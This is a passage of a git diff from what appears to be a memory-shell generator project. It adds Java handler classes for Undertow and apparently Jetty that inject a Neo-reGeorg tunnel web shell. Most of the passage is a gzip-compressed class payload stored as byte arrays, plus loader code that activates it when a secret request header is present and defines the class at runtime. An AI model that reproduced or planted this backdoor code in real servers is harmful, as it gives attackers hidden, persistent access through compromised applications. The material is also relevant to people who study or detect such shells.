-46, 69, -63, 47, 25, -71, -46, 76, 90, -84, -92, 46, 34, 105, 62, 51, -87, -49, 44, 103, -108, 7, 104, 53, -70, 117, 76, -79, -102, -7, -49, 55, 63, -51, -110, 1, 73, -65, 118, 122, -79, 45, 49, -67, -97, 62, 42, 8, -69, -124, 19, -99, -75, 53, -117, 70, 94, -77, -55, -28, 74, 45, 126, -71, -2, -45, -54, 51, -83, 102, 106, 50, 26, -59, 60, -5, -113, 116, -113, 92, -81, -93, -87, -123, -87, 20, -1, -60, 69, -31, -71, 36, -103, -24, -25, -116, 58, 6, -49, -56, -73, 43, 86, -97, -35, 66, 113, 95, -124, -56, 25, 69, 12, 53, -10, -9, -112, 124, -10, 73, -67, -105, -33, 68, -93, -39, 35, 52, 89, 101, -68, -40, 25, -1, -40, -109, -30, -97, 14, 72, 74, -93, 109, 27, -105, 50, 127, 74, -80, -9, 46, -13, -25, 26, -124, -45, -118, -68, -123, 99, -3, 13, 70, 98, 27, -101, 121, -89, -50, 48, -100, -101, 1, 70, 82, -121, -23, 112, 23, -108, -128, 3, 118, -61, -35, -32, -92, -7, 30, -72, 23, -128, -26, 61, 112, 31, -51, 110, -2, 32, 2, -124, 7, 12, -40, -125, -32, -93, 117, 22, -10, -47, 56, 68, -112, 50, -102, -111, 102, -47, 79, 16, 70, -25, 95, 14, -24, 11, -64, 60, 118, -67, 5, 46, 56, -114, -26, -117, -21, 15, -125, -125, -2, -75, 7, -100, 115, 58, 2, -62, -100, -112, -32, 15, -120, 115, 14, -125, -109, -2, 61, 8, -76, 113, -47, 70, -92, 127, 15, -126, 43, 32, -47, 90, -54, -126, 28, 20, 3, -78, -67, 116, 5, -68, 46, 123, 45, 5, -68, -116, -30, 14, -55, 1, 111, 14, -63, 29, -16, -70, -19, -75, 39, -32, -11, -40, -21, -110, -128, -73, -60, 94, 43, 66, 112, -100, 24, 44, 117, 5, -57, 75, 65, -81, 28, 44, -13, -70, -126, 62, -81, 20, -100, 64, -21, -119, 94, 119, 80, -43, 4, -97, -57, 121, 16, 74, -122, 64, 57, 12, -29, 66, -109, -68, 117, -76, 9, 77, 54, -89, 41, -66, -46, -112, 70, 127, -27, 13, -66, -15, 57, 36, -55, -92, -20, -72, 21, -18, -94, -93, -118, 6, -97, 55, 119, 84, 22, -102, -86, 77, -51, -126, 47, 88, -87, 86, 58, 118, -128, 43, 3, -89, -88, -107, 15, -53, -95, 105, -38, 84, 109, 90, 22, 38, -104, -80, -38, 3, 48, 113, -11, 62, 80, -75, -118, 44, 76, 58, 0, -18, -43, -38, -76, 125, 48, -103, -42, 89, -104, 18, -86, -56, 12, 63, -94, 122, -124, 29, 16, -46, 42, -100, 106, 73, 22, -76, -112, -90, 85, 48, 106, -71, -86, -12, 24, 51, -61, -54, -75, 10, 62, -84, 8, -47, -111, -45, 62, -27, -125, 10, 63, -17, -90, -122, 42, -75, 74, -43, 61, 4, -107, 67, 48, 45, 52, 57, 99, 32, 78, -30, -109, -22, 44, 76, -41, -120, 83, 13, 15, -75, -50, -35, -38, 100, 117, -94, 97, 88, 34, 116, -60, 113, 5, 109, 85, 99, 75, -118, -8, 102, 100, 97, -26, 54, 80, 12, -118, -77, -74, 59, -94, -116, -117, 97, 70, -95, 81, -16, 29, 103, -23, -35, -43, -32, -85, -53, -103, -64, 29, -86, 60, 0, -77, 87, 107, 21, -5, -64, 79, 122, -109, -42, 20, 6, -127, 80, -107, 86, -91, 85, 102, -95, 65, -85, 18, -78, 112, -68, -81, 81, -85, -54, -62, 9, -37, -128, -26, -61, -48, -24, -49, -62, -119, -66, 57, 67, 48, 55, 84, -83, 85, -93, 112, 16, 78, 90, -19, -12, -121, 49, 11, 39, 27, -57, 26, -55, 28, -52, -62, 41, 13, -66, 83, 115, 108, 78, 99, -44, 33, 8, -123, -90, 107, -45, -121, -96, 73, -101, -66, 31, -26, 33, -124, 106, -76, -102, -3, 48, 31, 97, 27, -52, -31, -43, 2, 4, -106, -88, -74, -63, 119, 58, 81, 45, 89, -19, -44, 106, -61, -106, -108, 51, 72, -96, -38, 33, 56, 67, 35, 37, 23, 102, -122, -97, 41, -18, -31, 21, 44, -25, -94, 80, 77, 6, -92, 16, 25, -53, 118, -100, 70, -50, -14, -109, 29, 76, 3, 55, 103, 97, 49, 1, -76, 114, -53, -123, -75, 90, 109, 22, 90, -120, 67, -115, 54, -61, -87, -51, 56, -108, -123, 37, 90, 77, 22, -50, -28, 97, 41, 19, 108, -35, 15, 103, -15, -117, 89, 86, 32, -15, 89, -7, 18, 107, -75, 71, 32, -88, -43, -6, -38, -78, -48, -66, 29, 2, -76, -22, 48, 86, 53, 44, 118, 22, -106, 19, 117, -63, 119, -74, 104, 43, -75, 90, -48, 102, -80, 102, 93, -103, -31, -67, -52, -31, 51, 101, 120, -35, 78, 24, -57, -53, 78, -106, 126, 38, -81, -62, -52, -20, 41, -48, -24, -26, 10, -45, 28, -86, 72, 10, 24, -9, -100, -69, -53, 4, -96, 72, -99, 113, 0, 86, -110, -118, -85, 66, 51, 89, 122, 10, -39, -43, -63, 90, -78, -61, 52, -75, -106, 14, 103, -79, 62, -77, -100, 42, -39, -83, 75, -101, -87, -51, -54, -62, 57, -103, -31, -41, -75, -103, 89, 88, 77, 103, -126, -17, 92, 83, 30, 95, 27, -53, 67, -89, -27, 67, 112, -98, 65, 125, -124, -93, 33, -100, -51, -108, 34, -110, -80, 62, 59, 58, 34, 5, -33, -7, 118, 100, 21, 19, -107, -20, 94, 106, -121, -24, 17, -4, -104, -74, -29, -115, 109, 37, 69, -20, -25, 40, 98, -73, 3, 7, -86, -49, -128, 77, -93, -43, 4, 94, 13, -63, 5, -63, -86, 33, 88, -61, 97, -109, -123, -56, 1, 88, 75, -81, 78, -83, -38, 7, -35, 101, 37, 67, 89, -24, -47, -86, -99, 89, -48, -69, -10, 66, -81, 86, -87, 85, -17, -121, 62, 39, -87, 56, 69, -11, -6, -42, -123, 51, -104, 34, 58, -68, -114, -122, 105, 42, -29, -104, -82, 38, -24, -7, -60, -17, 66, -125, 95, -125, 113, 109, 63, -84, 119, -112, -13, 98, 102, -44, 71, -78, -48, -97, 1, 49, 84, 101, -99, -59, 29, -48, -107, -63, -39, 116, 39, 97, -36, -71, 107, -52, -99, 35, -80, 81, 117, 13, -63, 0, -67, -107, 105, 108, -90, -117, -126, -43, -86, 20, -100, -18, 12, -42, -40, 62, -87, 85, -85, 111, -127, 78, -75, -102, -3, -60, 24, 73, -118, 46, -89, 90, -51, -34, -88, 101, 103, -99, -61, -64, 84, -105, 90, -93, 86, -81, 9, -46, -96, -70, 110, 3, 15, -19, -90, -33, 6, 94, -110, 124, 28, 71, 78, 58, -100, -127, -15, 57, 6, -103, -31, 123, 109, 45, 97, 18, 49, -50, -45, -78, -54, -48, 18, 54, -110, -60, -125, -122, -60, -3, -93, 37, -98, -84, -114, -77, 50, 56, 63, -17, 67, 44, 58, 89, -105, 47, 110, -24, 98, 43, 111, 52, -58, 77, -37, -96, -108, -8, -47, 106, 51, 69, -25, 7, 57, 118, -45, -118, -80, -77, 13, -89, -47, -21, -102, 82, -16, -70, -14, 34, 36, 3, 85, -102, -111, 54, -3, -102, 76, -103, -50, 72, -99, 5, -57, 66, -69, 115, 55, 21, -73, 103, -15, 42, -68, 22, -86, 28, 79, 56, -98, 117, -68, 0, 85, -62, 22, -31, 41, -31, 25, -102, 63, 17, 81, 20, -96, 74, 108, 16, -17, 22, -9, -48, -4, -90, 107, -86, -85, 10, -86, -88, -120, -19, 114, 109, -122, 42, -68, -61, -15, 50, -49, -114, 87, -100, 119, -13, -20, -68, 71, 8, -14, 44, -100, -30, -38, -64, -77, 81, -19, 14, -64, -61, 102, -75, -61, 73, 32, -126, 76, -77, -25, 0, 108, 33, 39, 125, -66, -67, -2, -48, 2, 103, 80, 80, -123, -54, -99, -16, 81, -67, 42, 92, 38, -32, -36, 50, 24, -34, 26, 20, 9, -76, 3, -22, 3, -2, 7, 64, 80, 69, -15, -30, -109, -78, 112, 113, -105, -75, 115, 109, -107, 54, -103, 123, -33, 23, -78, -80, -75, 43, 3, -5, -13, -81, -70, -116, -85, 45, 71, -67, -86, -70, -54, -32, -125, -83, -46, -59, -105, -28, 29, -72, -68, -29, -73, -118, 54, -47, 47, -102, 68, 123, -14, -119, 74, -1, 15, 114, -86, 84, 6, -121, -73, 122, 93, 5, 71, -110, -9, -12, -83, -58, 54, 51, -84, 4, -78, 112, -55, 30, -85, 35, 56, 8, -121, 44, 27, -7, 64, 0, 15, -51, -82, 122, -54, -117, -19, -127, 67, 11, 56, -96, 43, -9, -63, -91, 33, -63, 73, 118, 17, -55, 84, -17, 16, 41, 87, 64, 21, 47, 19, 113, -18, 92, 82, -104, 97, 110, -43, -27, -72, 117, -8, 93, 26, -115, -78, -7, 100, 1, -118, 100, -95, 72, 6, -118, 100, -94, -20, -44, 72, 82, 22, -45, 123, 2, -53, -97, -123, 47, 89, -8, 65, 89, -107, -67, -13, 119, -128, 91, -93, -14, -109, -34, -61, -108, 84, -103, -95, 38, 17, 74, -11, -61, -81, -47, 104, 16, 57, 95, 99, -99, -58, -77, 33, 100, -17, -68, -83, 98, 1, 29, -73, -22, 30, 77, -57, -51, 80, -109, -114, -37, -96, -29, 54, -23, 80, 107, -95, -54, 46, -78, -42, 38, -43, -51, 36, 50, -61, 83, -52, 91, -122, 125, 100, -2, 97, -98, -102, 43, 110, -88, 82, 100, 31, 23, -51, 125, -66, -46, 54, -65, -17, -53, 89, -72, -116, -115, 100, 71, -47, -46, -128, 74, -51, -109, 104, -43, -98, 122, -82, 52, -94, -109, 8, 81, 17, -70, -36, -40, -48, -70, -62, 44, 61, 109, 121, 72, 76, -57, -128, -111, -57, 51, -61, 67, -11, 78, 2, -106, 11, -36, 35, -104, 2, 60, 74, 127, 2, 57, -120, 3, -6, 49, 120, -36, 18, 101, 61, 117, -125, 18, -51, 23, 112, 17, -81, -89, 26, -98, -123, 43, -38, -121, -32, -54, -114, -122, -3, -16, 21, -82, 82, 103, -46, -30, -85, 92, -92, -82, 10, 9, -84, -50, -43, 33, 81, 19, -83, -77, 58, 94, 25, -121, -41, -124, 92, -102, -21, 81, -72, 118, 27, -108, 105, -82, 44, 124, -115, -30, -30, -21, -37, 64, 20, 118, 103, -122, 95, -51, 12, 103, -23, 125, 22, -118, -32, -26, -1, -13, -79, -38, -53, 107, -23, 69, 81, -76, -64, -91, 70, 15, -42, -18, 92, -32, 63, 20, 20, 36, -54, 121, -82, 3, 112, -35, 106, -22, 57, -81, 15, 73, -107, -86, -80, 19, 34, 26, 85, -23, 111, 4, 69, 77, -46, 92, 78, -51, 69, 117, -10, -122, 46, -115, 50, -24, 55, 73, 83, -71, -121, 93, 78, -105, -36, 116, -22, 118, 106, 110, -29, -76, -110, 96, 107, -42, 44, 80, 69, 97, 23, 53, 76, -94, -41, 125, 59, 76, 32, -49, 26, 61, -104, -101, 18, 9, -91, 37, 55, -19, 53, 119, 56, 51, 124, 107, -64, -76, -109, -101, -1, -53, -60, 18, -19, 106, 18, -105, -83, -77, -47, -17, -108, -67, 19, -121, -32, 91, 97, -65, -9, 56, 107, 101, 37, 105, -110, -73, -46, 127, 104, 39, 116, -6, 43, -25, 28, -127, 37, 52, -78, -99, 30, 5, -9, 54, -54, -63, 2, 85, 34, 110, 13, -60, 12, -43, 102, -63, -54, -99, 98, -96, -110, 3, 76, 19, 15, -79, -36, 107, -122, -32, -37, -108, -55, 105, -53, -43, -107, -114, 93, -105, 57, -55, 127, -9, 4, -116, -56, 65, -24, -124, 62, -72, -48, 112, -102, -101, -1, 27, -49, 114, 91, -52, -118, -96, 53, -127, 67, 7, -31, -58, 14, 35, 116, 2, 36, -59, 50, -114, -99, 44, 124, 39, 36, -6, 36, -90, -72, 109, 27, -108, -20, -123, -19, 44, -64, 12, -33, 77, 35, -112, -17, 50, -60, -25, -69, -39, -126, -56, 123, -31, -106, -112, -40, -96, 10, -102, 24, 54, -62, -25, 1, 127, 125, 67, 96, 8, 110, 29, 29, 58, 110, -2, -31, -35, -110, -31, 68, 10, 29, -106, 97, -90, -97, 25, -110, -46, -11, 36, -13, 14, 14, -113, 44, -36, -74, -99, -98, 12, 7, -22, 78, 77, -12, 55, 100, -31, -10, -79, -124, -98, -125, -25, 45, 43, 31, 79, -124, 68, -102, -87, -18, -19, 34, -109, -34, -47, 30, -88, 40, -17, 17, -42, 100, -31, 123, -27, 107, 22, 112, 59, 45, 4, 56, -14, 50, -102, 96, 123, -24, 5, 120, -47, -70, 123, -118, -15, 53, 3, 80, -17, 119, 25, 105, -50, 47, 26, -109, 87, -34, 116, -119, 95, 48, -105, 94, 90, 58, -51, -27, -108, 77, -105, -52, -85, -40, 109, 17, 121, 9, 94, -74, -120, -100, 78, 66, 49, -111, -71, 20, 117, 109, -11, -82, 114, -58, -67, 126, 69, -67, 88, -18, -107, -73, 88, 107, -95, -36, -21, -75, -41, -50, 114, -17, 20, 123, 109, 39, -65, 87, -32, 71, 22, -79, 82, -102, -99, 52, 59, -124, -35, -42, -39, -85, -16, 99, -53, 100, -29, -24, -113, -49, -84, -81, 40, -37, 28, 63, -95, -65, -97, 30, 11, -46, 107, -16, -77, -47, -33, 100, -44, 57, 125, -33, -50, 48, -81, -25, 62, -39, 38, 27, -6, 0, -108, 28, -128, 59, -55, -92, 63, -72, 31, 122, 77, 106, -16, 63, -22, -91, 95, 93, 55, 37, 0, 0}); + Class clazz = new NeoreGeorgJettyHandler(this.getClass().getClassLoader()).load(clazzBytes); + namespace.put(chars, clazz.newInstance()); + } + namespace.get(chars).equals(map); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgUndertowServletHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgUndertowServletHandler.java new file mode 100644 index 00000000..99edec61 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgUndertowServletHandler.java @@ -0,0 +1,100 @@ +package com.reajason.javaweb.memshell.shelltool.neoreg; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2025/2/27 + *

+ * key: key + */ +public class NeoreGeorgUndertowServletHandler extends ClassLoader { + public static String headerName; + public static String headerValue; + + public static Map namespace = new HashMap(); + String chars = "yewVGo+BCvNsZrDIiKXMhkq5tFHuA9J/n2jclLdP873bOaYz1QfpTSExW64R0gUm"; + String hello = "IwGasXee9x7OudkKMG6QZT0xKxebZGasKG7skTrzHlk2qkvPhS75XP2tKx2VAqLkMk2khcktuMlEJ52e9G7Hq+WxtfgrZE6KCwTaIn=="; + byte[] base64Bytes = new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, -1, -1, -1, 31, 60, 48, 33, 42, 58, 23, 57, 41, 40, 29, -1, -1, -1, -1, -1, -1, -1, 28, 7, 8, 14, 54, 25, 4, 26, 15, 30, 17, 37, 19, 10, 44, 39, 49, 59, 53, 52, 62, 3, 56, 18, 46, 12, -1, -1, -1, -1, -1, -1, 45, 43, 35, 38, 1, 50, 61, 20, 16, 34, 21, 36, 63, 32, 5, 51, 22, 13, 11, 24, 27, 9, 2, 55, 0, 47, -1, -1, -1, -1, -1}; + + public NeoreGeorgUndertowServletHandler() { + } + + public NeoreGeorgUndertowServletHandler(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public Class load(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + try { + Object servletRequestContext = null; + if (args.length == 2) { + servletRequestContext = args[1]; + } else { + servletRequestContext = args[2]; + } + Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); + Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + Object[] map = new Object[]{ + request, + response, + chars.toCharArray(), + base64Bytes, + new Integer(200), + new Integer(513), + new Integer(524288), + hello, + new Integer(1447564139), + new Integer(0), + new Integer(0), + new Integer(0), + }; + + if (namespace.get(chars) == null) { + byte[] clazzBytes = gzipDecompress(new byte[]{31, -117, 8, 0, -46, 68, -86, 100, 0, 3, -99, 57, 11, 124, 83, -11, -43, -25, 36, -9, -26, -34, -92, -105, -110, 6, 46, 112, 91, 74, 75, 11, 88, -46, -44, 42, 104, -44, 20, 80, 40, 69, 42, 109, 113, 13, 80, -47, 57, 9, -19, 109, -119, -92, 73, 77, 82, 94, 115, 76, 55, 31, -101, -113, 77, -25, 54, 7, 78, 69, -60, 101, 78, 84, 68, 13, 69, 4, -15, -123, -50, -73, -50, 109, 78, -73, -87, 123, -22, -26, -90, 115, 110, -50, 61, -20, 119, -50, 125, -92, 73, 27, -10, -15, 125, -65, 31, -3, 63, -50, -1, -4, -49, -5, 127, -50, -71, -31, -103, 79, 31, 58, 4, 0, 39, 58, 36, 15, -108, -64, 27, 18, -4, 92, -126, 123, -35, 112, 23, -4, 66, -126, -5, 120, -2, -91, 4, 111, 122, 64, -126, -73, 36, 120, 91, -122, 95, 73, -16, 107, 15, 65, 127, 35, -63, 111, 101, -8, -99, 12, -65, -105, -31, 29, 9, -34, -11, 64, 25, -4, -127, -121, 63, 74, -16, -98, 7, 38, -62, 27, 60, -4, -55, 3, 110, -8, 51, -81, -34, -25, -43, 7, 60, -4, -123, -121, 15, -103, -58, 95, -103, -20, 71, -68, -6, -101, 4, 127, -9, 64, 21, 99, -115, -125, -113, 121, -8, 7, 15, -97, -56, -16, 79, -58, -2, 23, -29, -4, 91, -122, -1, -56, -16, -87, 4, -61, 30, -104, -115, -64, 3, 74, -24, -16, 64, 0, -99, 60, 8, 18, -118, 30, -72, 17, 93, 30, 104, 68, 73, 70, -39, -125, 110, -12, 72, 88, -62, -77, -62, -61, 56, 62, 41, -107, 113, -68, -124, 94, 15, -106, -95, -113, -121, 9, 37, 56, 17, -43, 18, -100, -124, -109, 121, -104, 34, -93, 70, -36, -80, -100, 73, 86, -16, 48, -107, -73, -107, 60, 76, 35, 89, -80, -54, -125, -43, 56, -99, 6, 18, -111, -122, 79, 24, -91, -90, 4, 107, 113, 70, 9, -50, 68, 85, -58, 89, -116, 117, -100, -116, 117, 124, 50, 91, 70, 63, -49, -11, 60, 4, 120, 104, -112, -15, 120, 9, 27, 61, -80, -110, 76, -124, 39, -32, -119, -76, -62, 57, -68, 125, 95, -58, -71, 100, 17, 60, -119, 9, -100, 44, 99, 80, -58, 83, 120, 127, -86, 7, 98, 120, 26, 15, 33, 9, -101, 60, -80, 22, -25, 121, 112, 62, 46, 96, -56, -23, -28, 33, 60, -125, -39, 47, -108, 113, -111, -116, -51, 50, 46, -26, 93, -117, -124, 75, 8, 9, 62, -31, -51, -103, 50, 46, -11, 96, 43, -98, -59, 55, -106, -15, -86, -51, -125, -19, -40, -63, -100, -105, -53, 120, 54, 67, 62, -61, 67, 39, 15, 97, -58, 90, 33, -31, 74, 15, 108, 97, 47, 110, -63, 85, 50, 118, -15, 124, -114, -116, -85, 25, -8, 62, 95, 60, -105, -121, -13, 100, -4, 44, 75, 123, 62, 15, -97, 99, -105, 92, -32, -127, -85, 112, 77, 9, -100, -122, 17, 30, -42, 74, -40, -51, -112, 30, 9, 117, 9, 123, 61, 112, 13, -10, 49, -18, 58, 9, -93, 30, -72, -114, 99, -29, 58, -68, -112, -121, -11, 108, -31, 24, 15, -3, 60, -60, 37, 76, 80, 64, -30, 0, -69, -12, 34, 55, -103, 33, 41, 97, -54, 13, 55, -15, -100, 118, -61, -51, -104, 100, -76, 65, 62, -34, -32, -63, -115, -72, -119, -121, -51, 60, 108, -111, -16, -13, 30, -40, -59, -78, -17, -62, -117, 121, -8, -126, -124, 91, 37, -4, -94, 7, -18, -92, 0, -57, 75, 36, -68, 84, -62, 47, 33, 56, -12, 56, 13, -25, 53, -45, -48, -93, -13, 106, 17, -126, -100, -46, 83, -87, 104, 34, -98, 66, 24, -33, 118, 97, 100, 67, -92, 113, 48, 29, -115, 53, -74, 71, 6, -102, 16, -36, -31, 104, 95, 60, -110, 30, 76, 18, -10, -55, -123, -89, -13, -52, 109, 44, 18, -17, 107, 12, -89, -109, -47, 120, 95, 83, 30, 100, -7, -38, 11, -11, -18, 116, -45, 2, -94, -31, -102, 23, -115, 71, -45, 11, 16, -100, 117, -77, 87, 33, 8, -51, 9, -26, -19, -46, 47, 26, -116, -60, -120, -87, 90, 55, -10, -38, -20, 115, 17, -60, -75, -63, -109, 88, -36, 73, 117, -25, 45, -102, 61, -106, -105, -119, -64, -108, 38, -43, -115, 61, -99, -51, -102, -71, -41, -23, -111, 30, 61, -71, 94, -33, -116, 48, -85, 24, 82, 49, -86, -98, -106, 77, -35, -6, 64, -38, 52, -120, 20, 77, -59, 18, -35, -111, -40, 40, 41, -19, -5, 36, -91, 103, 109, 108, -61, 5, 61, 122, -73, -95, -109, -97, 68, -51, 67, 107, -115, -89, -11, 62, 61, 73, -62, -116, -43, -48, -70, -87, -57, 115, 55, -57, -30, 20, 37, 69, 122, 41, -47, -8, -122, -60, 122, -67, 93, 79, -81, 75, -12, 32, 44, 43, 98, -64, -79, -62, 22, -95, 63, -69, -104, 88, -29, -14, -119, -49, 65, 56, -1, -1, 76, -67, 57, 22, 73, -91, -114, -103, -97, 59, 25, -119, -9, 44, -38, -100, -42, -55, -36, -82, -70, -42, 86, 67, 67, -49, 90, 6, -84, 72, -112, -38, -28, 103, 14, -128, 86, 2, 70, -29, -23, 21, 9, 11, 85, -84, 51, 49, 93, 27, -12, 100, -76, -105, 28, -36, 88, -60, 65, 6, 100, 83, 99, 92, 79, 55, -90, 82, -79, -58, 112, -72, 45, 108, -58, -70, -31, 58, 95, -9, 58, -67, 123, 125, 115, 44, -86, 19, -35, -28, 96, 42, -83, -109, 49, 67, -74, 35, 82, 122, -9, 96, 50, -102, -34, -36, -40, -83, 39, -45, -115, -25, -100, 124, -62, 105, -51, -76, -120, -10, 70, -69, 35, 105, -67, -120, 5, 102, -81, -110, -16, -53, 54, -47, -80, -98, 36, -71, 114, 68, 125, 125, 122, 122, 97, 55, -121, -107, -34, -45, -102, 74, 13, -22, 73, -46, -32, -72, -70, -39, -57, -60, -118, 94, -24, -68, -18, -104, -15, -124, 20, -56, -62, 62, -124, 9, 69, 108, -85, -64, 61, 112, -81, 2, 123, -32, 62, -124, -78, 49, 113, -93, -32, 101, 120, 57, -126, 119, -76, -44, 100, 126, 18, -83, -117, -104, -21, -55, -126, 99, -109, -86, 2, 79, -61, 15, 17, 74, 13, 120, 52, -47, 104, 35, 2, -31, -46, -67, -26, 4, 81, -113, -89, -37, -12, 120, 95, 122, 29, -95, 17, -88, 53, 62, 48, -104, 38, -38, 122, -92, -97, -28, -76, -17, -27, 65, 21, -68, 2, 47, 87, -16, 74, 120, 17, 97, -14, 104, 113, 22, 13, 70, 99, 61, 44, -19, 87, -16, -85, -92, 43, 94, -91, -32, -43, 120, -115, -126, -41, -30, -41, 20, -4, 58, -33, -69, 22, -81, 83, -32, 32, 28, 82, -16, 122, -4, -122, 2, 79, -64, -109, 54, 27, -125, 76, -18, -19, 42, 120, 3, 126, 83, -63, 111, -63, 62, 5, -65, -51, 54, 19, 86, 116, -82, 108, 81, -16, 70, -4, -114, 2, -113, -63, -29, 20, 64, 73, 61, -91, -89, 77, 3, -40, 47, 73, 49, 40, 113, -72, -84, -20, 108, 99, 1, -120, -60, 54, -36, -114, 80, -98, 59, 88, -102, 78, 15, -48, 33, -87, 30, 39, 3, 25, -100, 110, 98, -76, -17, -30, -51, 8, -43, -123, -15, -58, -72, -87, 81, -56, -73, -64, 67, 10, -34, -118, 59, 40, 27, 82, 56, 74, 120, -101, -126, 59, -15, 118, -117, -61, -56, 85, 35, 116, -38, 35, -15, -120, -31, -68, 93, 120, -121, -126, -33, -61, -116, -126, -33, -57, 59, 77, 67, 47, 53, 82, 91, 71, -92, -97, 31, -125, 106, -120, 103, 36, -26, -106, -8, 96, -65, -98, -116, 48, 51, 9, 127, -96, -32, 93, -72, 91, -63, -69, -15, 30, 9, -17, 85, 112, 15, -34, 39, -31, 94, 5, -17, -57, 7, 20, 124, 16, -77, -90, -10, 38, 41, 5, 30, -127, -61, 10, -18, -61, 33, 5, -9, -29, 67, 10, 28, -127, -89, 20, 56, 0, 15, 43, 120, 0, 31, -106, -16, 32, -101, -108, -20, -2, 8, 30, -106, -16, 81, 5, 31, -61, -57, 37, 124, -126, -124, -79, -94, -96, -63, 12, 3, 5, -97, 100, -21, -106, -83, -96, 103, -99, -22, -43, -109, 13, 45, -100, -31, -56, -73, 10, 30, -127, -61, -60, 48, -107, 99, -120, 79, -111, 71, -31, 29, 124, 90, -63, 31, -30, -45, -26, 81, 56, 77, -59, -122, 52, -86, -76, 67, -121, -97, -5, -62, 100, 50, -78, 121, -7, 96, 58, 23, 68, 18, 62, -93, -32, -77, -8, 28, -117, 116, 21, 93, -116, -12, -12, -40, 52, -81, -90, 0, -63, -25, -15, 26, -124, 18, -61, -63, -117, 6, 123, 123, 57, 100, -91, -26, -27, 29, 29, 45, -51, 43, 20, 124, -127, 66, 0, 95, -60, -105, 20, 124, 25, 95, -55, 119, 109, 43, 13, -31, 68, -9, 122, 122, -85, 61, 61, 116, 57, -59, 17, -16, 35, 9, 95, 85, -16, -57, -8, 19, 5, 127, -118, -81, 41, -80, 23, -18, 87, -16, 103, -8, 58, 21, -49, -27, -53, 40, -84, -106, 44, 108, 109, -93, -44, -76, -72, 53, -100, 99, -16, 6, -2, 28, -95, -54, 36, 75, 26, 116, -81, -117, -112, -5, 99, -87, 70, -109, 118, -77, -71, 85, -16, 23, -116, 38, 116, -74, 44, 92, 44, -31, 47, 21, 124, 19, -33, -94, 103, -127, 111, 43, -8, 43, 54, -9, -81, 21, -4, 13, -2, 86, -63, -33, -31, -61, 36, -4, -110, -27, -99, 93, 11, 59, 23, 51, -25, -33, 43, -8, 14, 31, -68, -53, 62, -68, 1, -33, -90, -6, 55, -10, 25, -79, -50, -4, -118, -2, 64, 98, -50, -97, -49, -85, 63, 34, -32, 124, 86, -24, 61, -66, -11, 30, -19, 26, 20, -4, 19, -2, 89, -63, -9, -7, -123, 125, -64, -61, 95, -16, 67, 5, -1, -54, 116, 63, -30, -40, -48, 114, -106, -23, -48, -45, 27, 19, -55, -11, -100, 76, -110, -67, -111, 110, 93, -63, -65, -31, -121, 8, 19, 11, 76, 103, 25, -51, -114, 70, 27, 124, -110, 109, 76, -4, 59, -15, -128, -3, -16, 16, -62, -44, 49, -34, 45, -56, 16, 87, 26, 25, 2, 63, 86, -32, 5, 120, 81, -127, -25, -32, 121, 5, 94, -126, -105, -87, 63, 25, 85, 100, 20, -4, 7, 126, -94, -32, 63, -15, 95, 10, -2, 27, -1, 99, 103, 42, 3, -95, 45, -63, -23, 45, -17, 70, 120, 93, 34, 73, 25, -19, 25, 120, 86, -127, 79, -15, 83, 9, -121, 21, 7, -112, -78, 14, -60, -101, 21, -121, -61, -31, -76, 19, -96, -15, -114, 58, -87, 42, 37, -6, 21, -121, -32, 16, 21, -121, -117, -93, -84, -26, 127, -49, -43, 118, -22, 53, 40, 44, -115, -92, -42, 81, -101, 68, -63, -47, -95, 39, -110, -6, -103, 52, -112, 64, -45, 70, -91, -120, 68, 42, 29, -89, 71, -68, -118, -85, 88, -108, 3, 117, 20, 2, 115, -56, 79, 6, 84, 55, -118, -56, -111, 39, 67, 46, 5, 82, -35, -96, -126, -71, 42, 18, 27, -44, -115, -42, -85, -107, 31, -54, -122, 72, 52, 22, 89, 27, 35, -120, 64, -74, -90, -108, -25, -118, 12, 12, -24, 113, 90, 52, 28, 83, -125, 100, 101, -24, 38, -85, 42, 83, 59, 39, -89, 19, 118, 45, -103, 88, 87, -76, -93, 114, -89, 6, -41, -90, 44, -108, 73, 92, -31, -117, 33, -71, 98, 86, 21, 81, -21, -118, 35, 72, 27, 88, -109, -27, -67, 6, -115, 124, 12, -69, 53, 34, -111, 54, 114, 125, 58, 74, -81, 70, -94, -118, -67, -79, -63, 20, -79, 16, -69, 99, -119, 20, -31, -71, -69, 19, -3, 3, -111, -92, -66, 34, 113, -108, 59, 100, -78, -46, 4, -103, 103, 36, -127, 83, -66, -80, -107, -76, -54, -60, -56, 25, 73, -32, -91, -116, -45, 73, -115, -83, -98, -54, -43, -108, 18, 2, 45, 78, -104, -39, -117, -84, 94, 119, 46, 75, -30, -119, -90, 90, -29, -87, 116, 36, -34, 77, 98, 76, -32, -108, 56, 38, 14, 106, -21, 70, 117, 47, -93, 81, 12, -107, -90, 20, -30, 80, 73, 49, -46, -15, 38, 98, 85, 98, -108, 99, -101, -55, -15, 71, 117, 111, -79, -37, -92, -118, -64, 29, 7, 66, -105, -43, 15, -115, 